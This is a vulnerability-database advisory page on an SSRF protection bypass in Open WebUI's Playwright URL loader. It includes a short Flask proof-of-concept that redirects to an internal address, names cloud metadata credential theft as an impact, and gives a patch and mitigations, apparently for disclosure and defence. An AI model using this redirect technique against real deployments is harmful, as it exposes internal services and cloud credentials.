Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Network-reachable feature requires a low-priv authenticated user (PR:L), no UI; SSRF crosses scope to internal services (S:C) with high confidentiality impact (IMDS creds) and low integrity from possible internal write requests.
Primary rating from Vendor (https://github.com/open-webui/open-webui).
CVSS VectorVendor: https://github.com/open-webui/open-webui
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.
Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).
This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False
Details
Root Cause
The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.
The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).
The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.
for url in self.urls:
try:
self._safe_process_url_sync(url)
page = browser.new_page()
response = page.goto(url, timeout=self.playwright_timeout) #this
if response is None:
raise ValueError(...)
text = self.evaluator.evaluate(page, browser, response)PoC
(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)
- Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
- ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)
- RAG_WEB_LOADER_ENGINE=playwright
- Setup and run attack server
- In Open WebUI, use the "Web Search" or "URL Loader" feature.
- Input the attacker's URL (e.g., http://attacker-ip/).
# attack_server.py
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def attack():
# Redirect to the Open WebUI container's internal port
return redirect("http://open-webui:8080/api/version", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)<img width="580" height="192" alt="image" src="https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e" />
The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)
Impact
+ Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials. + Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools. + Container Environments: Accessing other containers within the same network.
Recommended Patch
implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.
apply the following logic to both lazy_load and alazy_load methods:
# async context
async def intercept_route(route):
try:
await run_in_threadpool(validate_url, route.request.url)
await route.continue_()
except Exception:
await route.abort()
await page.route("**/*", intercept_route)
response = await page.goto(url, timeout=self.playwright_timeout)Articles & Coverage 1
AnalysisAI
SSRF protection bypass in Open WebUI's SafePlaywrightURLLoader (versions <= 0.9.5) allows authenticated users to access internal network resources by supplying an externally-hosted URL that returns an HTTP 301/302 redirect to a private address. Because Playwright's page.goto() automatically follows redirects without re-validating the destination, attackers can reach localhost, container-network peers, or cloud metadata endpoints (169.254.169.254) even when ENABLE_RAG_LOCAL_WEB_FETCH=False. A working PoC is published in the GHSA advisory; there is no public exploit identified at time of analysis being actively used, and no CISA KEV listing.
Technical ContextAI
Open WebUI is a self-hosted Python web interface for LLM backends distributed via pip. Its Retrieval-Augmented Generation (RAG) feature lets users submit URLs to be fetched and indexed; the SafePlaywrightURLLoader is one of several configurable web-loader engines (selected via RAG_WEB_LOADER_ENGINE=playwright) and uses the Playwright headless-browser library to render JavaScript-heavy pages. The flaw is a classic CWE-918 (Server-Side Request Forgery) instance caused by Time-of-Check / Time-of-Use divergence: _safe_process_url_sync() resolves and validates only the user-supplied URL against a private-IP denylist, but the subsequent page.goto() call uses Playwright's default behavior of transparently following HTTP 3xx redirects, so a 302 from an attacker-controlled host pointing at 127.0.0.1, an internal container DNS name, or the cloud IMDS endpoint is fetched without revalidation. The recommended fix uses Playwright's page.route('**/*', interceptor) hook to re-run validate_url on every individual request the browser issues, including redirects.
RemediationAI
Vendor-released patch: upgrade open-webui to 0.9.6 or later, which adds a Playwright page.route('**/*', ...) interceptor that re-runs validate_url for every request including redirects (see https://github.com/open-webui/open-webui/security/advisories/GHSA-jrfp-m64g-pcwv). If immediate upgrade is not possible, switch RAG_WEB_LOADER_ENGINE to a non-Playwright loader (e.g., the requests-based engine) which is not affected by this redirect-follow behavior, accepting the trade-off of losing JavaScript rendering for fetched pages. As compensating controls, restrict outbound egress from the Open WebUI container/VM via network policy or an egress proxy to block traffic to RFC1918 ranges, 127.0.0.0/8, and 169.254.169.254, force IMDSv2 on AWS hosts to require a session token the browser will not send, and limit Web Search / URL Loader use to trusted accounts via Open WebUI's RBAC; these mitigations reduce blast radius but do not close the SSRF in-process and may break legitimate internal-knowledge-base integrations.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38525
GHSA-jrfp-m64g-pcwv